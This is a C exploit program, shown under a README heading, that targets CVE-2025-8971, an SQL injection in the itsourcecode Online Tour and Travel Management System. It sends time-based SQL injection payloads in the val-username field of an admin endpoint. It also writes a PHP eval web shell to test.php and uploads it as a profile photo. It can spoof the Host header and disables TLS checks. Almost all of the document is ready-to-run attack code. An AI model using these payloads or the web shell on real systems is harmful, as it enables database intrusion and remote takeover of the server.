README.md
Rendering markdown...
/*
* Author : Byte Reaper
* CVE : CVE-2025-8971
* Vulnerability: SQL Injection
* Description: SQL injection vulnerability in the itsourcecode Online Tour and Travel Management System 1.0.
* target file : travellers.phptravellers.php
* place in service : /admin/operations/travellers.php
* full format target url : http://127.0.0.1/code/admin/operations/travellers.php
* parametre Injection : `val-username`
* Exploitation plan:
* 1. Build full URL
* 2. Prepare POST data (including username payload)
* 3. Loop through payloads (encoded + raw)
* 4. Send POST request via CURL
* 5. Measure response: HTTP code, timing, content check
* 6. Determine success & finalize exploit
*/
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include <sys/time.h>
#include <stdlib.h>
#include "argparse.h"
#include <unistd.h>
#include <math.h>
#include <limits.h>
#define URL 2800
#define FILE_CONTENT 3000
#define REF_HEADER 300
#define FAKE_IP 256
#define MAX_RESPONSE (50 * 1024 * 1024)
//global Varaible
static int oneRequest = 0;
int result = 0;
const char *fakeIp = NULL;
const char *baseurl = NULL;
const char *cookies = NULL;
int fileC = 0;
const char *imagefile = NULL;
int ipF = 0;
int verbose = 0;
int selCookie = 0;
int libt = 0;
int timeD = 0;
int wordF = 0;
void exit64bit()
{
fflush(NULL);
__asm__ volatile
(
"syscall\n\t"
:
: "A"(0x3C),
"D"(0)
: "rcx",
"r11",
"memory"
);
fflush(NULL);
}
struct Mem
{
char *buffer;
size_t len;
};
size_t write_cb(void *ptr,
size_t size,
size_t nmemb,
void *userdata)
{
if (!userdata)
{
return 0;
}
if (size && nmemb > SIZE_MAX / size)
{
fprintf(stderr, "\e[0;31m[-] size * nmemb overflow !\e[0m\n");
return 0;
}
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
if (total > MAX_RESPONSE || (m->len + total + 1) > MAX_RESPONSE)
{
fprintf(stderr, "\e[0;31m[-] Response too large or would exceed MAX_RESPONSE !\e[0m\n");
return 0;
}
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
exit64bit();
}
if ((int)oneRequest == 1)
{
if (m->buffer == NULL)
{
printf("\e[0;31m[-] The first request is empty (Buffer -> NULL).\e[0m\n");
}
else if (m->len == 0)
{
printf("\e[0;31m[-] The first request Len is empty (Len -> 0).\e[0m\n");
}
result++;
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
int checkLen(int len, char *buf, size_t bufcap)
{
if (len < 0 || (size_t)len >= bufcap)
{
printf("\e[0;31m[-] Len is Long ! \e[0m\n");
printf("\e[0;31m[-] Len %d\e[0m\n", len);
return 1;
}
else
{
printf("\e[0;34m[+] Len Is Not Long.\e[0m\n");
return 0;
}
return 0;
}
//Sleep 3 second
const char *payload[] =
{
"AND (SELECT * FROM (SELECT(SLEEP(3)))bAKL) AND 'b'='b'",
"or pg_sleep(3)--",
"(SELECT * FROM (SELECT(SLEEP(3)))ecMj)",
"SLEEP(3)/*' or SLEEP(3) or '\" or SLEEP(3) or \"*/",
"UNION SELECT @@VERSION,SLEEP(3),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10",
NULL
};
const char *sqlword[] =
{
"error",
"syntax",
"mysql",
"duplicate",
"warning",
"failed",
"undefined",
"GTID",
"ELT",
"SLEEP",
"Cannot",
"unknown",
NULL
};
void sqlRequest(const char *baseURL)
{
char fullURl[URL];
CURL *curl = curl_easy_init();
CURLcode code;
struct Mem response ;
response.buffer = NULL;
response.len = 0;
if (curl == NULL)
{
printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
exit64bit();
}
struct curl_slist *headers = NULL;
char *encode = NULL;
curl_mime *form = NULL;
if (curl)
{
for (int p =0; payload[p] != NULL; p++)
{
form = curl_mime_init(curl);
if (!form)
{
printf("\e[0;31m[-] Form is NULL !\e[0m\n");
exit64bit();
}
curl_mimepart *field;
field = curl_mime_addpart(form);
encode = curl_easy_escape(curl, payload[p], strlen(payload[p]));
if (encode == NULL)
{
printf("\e[0;31m[-] Error Encode Payload !\e[0m\n");
exit64bit();
}
oneRequest = 1;
int skip = 0;
int used_encoded = 0;
if (encode != NULL)
{
printf("[+] Start encode Payload in Request (username=)\e[0m\n");
printf("[+] Encode Payload : %s\e[0m\n", encode);
printf("[+] Original Payload (Not encode) : %s\e[0m\n", payload[p]);
used_encoded = 1;
}
printf("[+] POST Request Not encode Payload...(encode != 1)\e[0m\n");
int len = snprintf(fullURl,
URL,
"%s/code/admin/operations/travellers.php",
baseURL);
if (checkLen(len,fullURl,URL) == 1)
{
printf("\e[0;31m[-] Len Content (Full URL) is Long !\e[0m\n");
printf("\e[0;31m[-] Result Len (FULL URL) : %d\e[0m\n", len);
goto clean;
}
printf("\e[0;34m[+] Len Content full url : %d\e[0m\n", len);
printf("\e[0;34m[+] Write Base URL in FULL URL Success.\e[0m\n");
printf("\e[0;34m[+] Base URL Input : %s\e[0m\n",
baseURL);
printf("\e[0;37m[+] FULL URL : %s\e[0m\n",
fullURl);
printf("\e[0;37m[+] Orginale payload (Not encode) : %s\e[0m\n",
payload[p]);
curl_easy_setopt(curl,
CURLOPT_URL,
fullURl);
if (selCookie)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
// multipart POST
printf("\e[0;37m[+] Default info POST : ===============================\e[0m\n");
printf("\e[0;37m[+] val-email : %s\e[0m\n", "[email protected]");
printf("\e[0;37m[+] val-password : %s\e[0m\n", "@qW123456");
printf("\e[0;37m[+] val-confirm-password : %s\e[0m\n","@qW123456");
printf("\e[0;37m[+] state_name : %s\e[0m\n" , "Maharashtra");
printf("\e[0;37m[+] val-digits : %s\e[0m\n","1111111111");
printf("\e[0;37m[+] val-suggestions : %s\e[0m\n", "1111");
if (fileC == 0)
{
printf("[+] Image Uploid : %s\n", "test.php");
}
else if (fileC == 1)
{
if (imagefile == NULL)
{
printf("[-] File name is NULL !\n");
goto clean;
}
else
{
printf("[+] Image Uploid : %s\n", imagefile);
}
}
printf("=======================================================\e[0m\n");
// Username (Encode Payload Payload)
if (used_encoded)
{
field = curl_mime_addpart(form);
curl_mime_name(field, "val-username");
curl_mime_data(field, encode, CURL_ZERO_TERMINATED);
}
//Username Value (Not encode payload)
else
{
field = curl_mime_addpart(form);
curl_mime_name(field, "val-username");
curl_mime_data(field, payload[p], CURL_ZERO_TERMINATED);
}
//email
field = curl_mime_addpart(form);
curl_mime_name(field, "val-email");
curl_mime_data(field,
"[email protected]",
CURL_ZERO_TERMINATED);
//password
field = curl_mime_addpart(form);
curl_mime_name(field, "val-password");
curl_mime_data(field,
"@qW123456",
CURL_ZERO_TERMINATED);
//confirm password
field = curl_mime_addpart(form);
curl_mime_name(field, "val-confirm-password");
curl_mime_data(field,
"@qW123456",
CURL_ZERO_TERMINATED);
//Name
field = curl_mime_addpart(form);
curl_mime_name(field, "state_name");
curl_mime_data(field,
"Maharashtra",
CURL_ZERO_TERMINATED);
field = curl_mime_addpart(form);
curl_mime_name(field, "val-digits");
curl_mime_data(field,
"1111111111",
CURL_ZERO_TERMINATED);
field = curl_mime_addpart(form);
curl_mime_name(field, "val-suggestions");
curl_mime_data(field,
"1111",
CURL_ZERO_TERMINATED);
//POST methode
curl_easy_setopt(curl,
CURLOPT_MIMEPOST,
form);
if (fileC == 0)
{
//Default file = test.php
FILE *file = fopen("test.php", "w");
if (file == NULL)
{
printf("\e[0;31m[-] Error Create file (test.php).\e[0m\n");
goto clean;
}
const char *write = "<?php\n\t@eval($_POST['test']);\n?>";
char resultFile[3000];
int lenw = snprintf(resultFile, FILE_CONTENT, "%s", write);
if (checkLen(lenw,resultFile,FILE_CONTENT) == 1)
{
printf("\e[0;31m[-] Len Content (File uploit test.php) is Long !\e[0m\n");
printf("\e[0;31m[-] Result Len Content : %d\e[0m\n", lenw);
goto clean;
}
printf("\e[0;32m[+] Len Content File upload : %d\e[0m\n", lenw);
if (verbose)
{
printf("\e[0;35m[+] Content FILE (test.php) : ==========\e[0m\n");
printf("\n%s\n", resultFile);
printf("================================================\e[0m\n");
}
size_t written = fwrite(write,
1,
strlen(write),
file);
if (written != strlen(write))
{
fprintf(stderr, "\e[0;31m[-] Failed Write Content in file !\e[0m\n");
}
fflush(file);
printf("\e[0;34m[+] Write Content file success (POST PHP).\e[0m\n");
fclose(file);
if (verbose)
{
printf("\e[0;34m[+] Close File ...\e[0m\n");
}
field = curl_mime_addpart(form);
curl_mime_name(field, "photo");
curl_mime_filename(field, "test.php");
curl_mime_filedata(field, "test.php");
}
else if (fileC == 1)
{
field = curl_mime_addpart(form);
curl_mime_name(field, "photo");
curl_mime_filename(field, "imagefile");
curl_mime_filedata(field, "imagefile");
}
field = curl_mime_addpart(form);
curl_mime_name(field, "submit");
curl_mime_data(field, "", CURL_ZERO_TERMINATED);
curl_easy_setopt(curl,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(curl,
CURLOPT_WRITEFUNCTION,
write_cb);
curl_easy_setopt(curl,
CURLOPT_WRITEDATA,
&response);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
struct timespec s ;
s.tv_sec = 0;
s.tv_nsec = 500000000;
__asm__ volatile
(
"mov $35, %%rax\n\t"
"xor %%rsi, %%rsi\n\t"
"syscall\n\t"
:
: "D" (&s)
: "rax",
"rsi",
"memory"
);
printf("\e[0;36m[+] Sleep 0.5 s...\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYPEER,
0L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYHOST,
0L);
if (verbose)
{
printf("\e[0;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
headers = curl_slist_append(headers,
"Accept: text/html");
headers = curl_slist_append(headers,
"Accept-Encoding: gzip, deflate, br");
headers = curl_slist_append(headers,
"Accept-Language: en-US,en;q=0.5");
headers = curl_slist_append(headers,
"Connection: keep-alive");
//Referer Header
char refer[REF_HEADER];
printf("\e[0;33m[+] Create Header Referer...\e[0m\n");
int lenr = snprintf(refer, REF_HEADER, "Referer: %s", baseURL);
int useDefault = 0;
if (checkLen(lenr,refer,REF_HEADER) == 1)
{
printf("\e[0;31m[-] Len Content (Header Referer) is Long !\e[0m\n");
printf("\e[0;31m[-] Result Len Content : %d\e[0m\n", lenr);
printf("\e[0;31m[-] Jump Default Header (example.com)...\e[0m\n");
useDefault = 1;
goto defaultHeader;
}
printf("\e[0;32m[+] Len Header Referer : %d\e[0m\n", lenr);
printf("\e[0;37m[+] Result Header (Referer) : %s\e[0m\n", refer);
headers = curl_slist_append(headers,
refer);
defaultHeader :
if (useDefault == 1)
{
headers = curl_slist_append(headers,
"Referer: http://example.com");
}
if (ipF)
{
printf("\e[0;37m[+] Fake IP (Host Header Request) : %s\e[0m\n", fakeIp);
char content[FAKE_IP];
int lenf = snprintf(content, FAKE_IP, "Host: %s", fakeIp);
if (checkLen(lenf,content,FAKE_IP) == 1)
{
printf("\e[0;31m[-] Len Content (Header HOST) is Long !\e[0m\n");
printf("\e[0;31m[-] Result Len Content : %d\e[0m\n", lenf);
printf("\e[0;31m[-] Jump Default Header Host (127.0.0.1)...\e[0m\n");
goto defaultHost;
}
printf("\e[0;34m[+] Write fake Host ip Success.\e[0m\n");
printf("\e[0;37m[+] Header Host Result : %s\e[0m\n",content);
defaultHost:
headers = curl_slist_append(headers,
"Host: 127.0.0.1");
}
else
{
printf("\e[0;33m[+] Arg Fake Ip HOST Not Run.\e[0m\n");
printf("\e[0;37m[+] Default Header HOSt (localhost)\e[0m\n");
headers = curl_slist_append(headers,
"Host: 127.0.0.1");
}
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
//save time (start)
struct timeval start;
gettimeofday(&start, NULL);
code = curl_easy_perform(curl);
curl_slist_free_all(headers);
headers = NULL;
curl_mime_free(form);
form = NULL;
long http_code = 0;
double timeTotal = 0.0;
if (code == CURLE_OK)
{
printf("\e[0;37m--------------------------------------------------------------------------------------------------------\n");
printf("\e[0;36m[+] Request sent successfully\e[0m\n");
if (verbose)
{
printf("\e[0;35m=========================================================== [ response ] ===========================================================\e[0m\n");
printf("\n%s\n", response.buffer);
printf("\e[0;35m=====================================================================================================================================\e[0m\n");
}
curl_easy_getinfo(curl,
CURLINFO_RESPONSE_CODE,
&http_code);
printf("\e[0;32m[+] Http Code : %ld\e[0m\n",
http_code);
curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeTotal);
printf("\e[0;32m[+] Response Time : %.3f\e[0m\n", timeTotal);
//3 s + 5 s request timeout (libcurl) = 8 s
if (fabs(timeTotal - 8.0) < 0.1)
{
printf("\e[0;36m[+] Sql Injection Sleep Detetced (libcurl time info)(8 s).\e[0m\n");
printf("\e[0;36m[+] Check sleep time...\e[0m\n");
libt = 1;
}
else
{
printf("\e[0;31m[-] Sleep Not dtected (time-based)!\e[0m\n");
}
struct timeval end;
gettimeofday(&end, NULL);
double resultT = (end.tv_sec - start.tv_sec) + (end.tv_usec - start.tv_usec) / 1000000.0;
if (resultT <= 8)
{
printf("\e[0;36m[+] SQl injection time-based detect (response server <= 8).\e[0m\n");
printf("\e[0;36m[+] Result time : %f\e[0m\n", resultT);
printf("\e[0;36m[+] Check word in response...\e[0m\n");
timeD = 1;
}
else
{
printf("\e[0;31m[-] Result time Response ( time != 8s)\e[0m\n");
printf("\e[0;31m[-] Not Detect Sleep !\e[0m\n");
}
if (http_code >= 200 && http_code < 300)
{
printf("\e[0;32m[+] Http Code (200 - 300) \e[0m\n");
if (response.buffer != NULL)
{
printf("\e[0;32m[+] Response length: %zu\e[0m\n", response.len);
for (int w = 0; sqlword[w] != NULL; w++)
{
if (strstr(response.buffer, sqlword[w]) != NULL)
{
printf("\e[0;34m[+] Word Found is response .\e[0m\n");
printf("\e[0;37m[+] Word : %s\n", sqlword[w]);
printf("\e[0;35m=========================================================== [ response (Word found)] ===========================================================\e[0m\n");
printf("\n%s\n", response.buffer);
printf("\e[0;35m=================================================================================================================================================\e[0m\n");
wordF = 1;
break;
}
else
{
if (verbose)
{
printf("\e[0;31m[-] word not found : %s\n", sqlword[w]);
printf("\e[0;35m=========================================================== [ response (Word Not found)] ===========================================================\e[0m\n");
printf("\n%s\n", response.buffer);
printf("\e[0;35m====================================================================================================================================================\e[0m\n");
}
wordF = 0;
}
}
if (wordF == 0 && verbose == 0)
{
printf("\e[0;31m[-] Word Not Found in response Server !\e[0m\n");
}
}
else
{
printf("\e[0;31m[-] Response Buffer is NULL (WAF OR not response)!\e[0m\n");
}
}
else
{
printf("\e[0;31m[-] http code not range (200 - 300)\e[0m\n");
}
printf("\e[0;33m[+] Result Check SQL INJECTION : ==============================================\e[0m\n");
if (libt == 1 && wordF == 1)
{
printf("\e[0;36m[+] Detect time sleep libcurl .\e[0m\n");
printf("\e[0;36m[+] Detect Word in response server.\e[0m\n");
printf("\e[0;36m[+] The server is experiencing a vulnerability Sql (CVE-2025-8971).\e[0m\n");
}
else if (timeD == 1 && libt ==1)
{
printf("\e[0;36m[+] Detect time sleep Server .\e[0m\n");
printf("\e[0;36m[+] Detect time sleep libcurl .\e[0m\n");
printf("\e[0;36m[+] The server is experiencing a vulnerability Sql (CVE-2025-8971).\e[0m\n");
}
else
{
printf("\e[0;31m[-] No strange server response detected !\e[0m\n");
printf("\e[0;31m[-] There is no vulnerability Sql in server (CVE-2025-8971) !\e[0m\n");
}
printf("\e[0;33m===============================================================================\e[0m\n");
}
else
{
printf("\e[0;31m[-] The request was not sent !\e[0m\n");
printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(code));
exit64bit();
}
}
}
clean :
if (curl)
{
curl_easy_cleanup(curl);
}
if (response.buffer)
{
free(response.buffer);
response.buffer = NULL;
response.len = 0;
}
if (headers)
{
curl_slist_free_all(headers);
}
if (form)
{
curl_mime_free(form);
}
exit64bit();
}
int main(int argc, const char **argv)
{
printf(
"\e[1;31m"
" ▄████▄ ██▒ █▓▓█████ \n"
" ▒██▀ ▀█▓██░ █▒▓█ ▀ \n"
" ▒▓█ ▄▓██ █▒░▒███ \n"
" ▒▓▓▄ ▄██▒▒██ █░░▒▓█ ▄ \n"
" ▒ ▓███▀ ░ ▒▀█░ ░▒████▒ \e[1;32m2025-8971\n"
" ░ ░▒ ▒ ░ ░ ▐░ ░░ ▒░ ░ \n"
" ░ ▒ ░ ░░ ░ ░ ░ \n"
" ░ ░░ ░ \n"
" ░ ░ ░ ░ ░ \n"
" ░ ░ \n"
"\t \e[1;31m [ Byte Reaper ] \e[0m\n"
);
printf("\e[0;31m-------------------------------------------------------------------------------------------------------\e[0m\n");
if (result >= 1)
{
printf("[-] A large number of empty responses were received !\n");
}
struct argparse_option options[] =
{
OPT_HELP(),
OPT_STRING('u',
"url",
&baseurl,
"Enter Target Url (BASE URL)"),
OPT_STRING('c',
"cookies",
&cookies,
"Enter File cookies"),
OPT_STRING('i',
"ip",
&fakeIp,
"Fake Ip (Host request)"),
OPT_STRING('f',
"file",
&imagefile,
"File upload (.php / image)"),
OPT_BOOLEAN('v',
"verbose",
&verbose,
"Verbose Mode"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse,
options,
NULL,
0);
argparse_parse(&argparse,
argc,
argv);
if (baseurl == NULL)
{
printf("\e[1;31m[-] Please Enter target Url !\e[0m\n");
printf("\e[1;31m[-] Example : ./CVE -u http://127.0.0.1\e[0m\n");
exit64bit();
}
if (cookies != NULL)
{
selCookie = 1;
}
if (verbose)
{
verbose = 1;
}
if (fakeIp)
{
ipF = 1;
}
if (imagefile != NULL)
{
fileC = 1;
}
sqlRequest(baseurl);
return 0;
}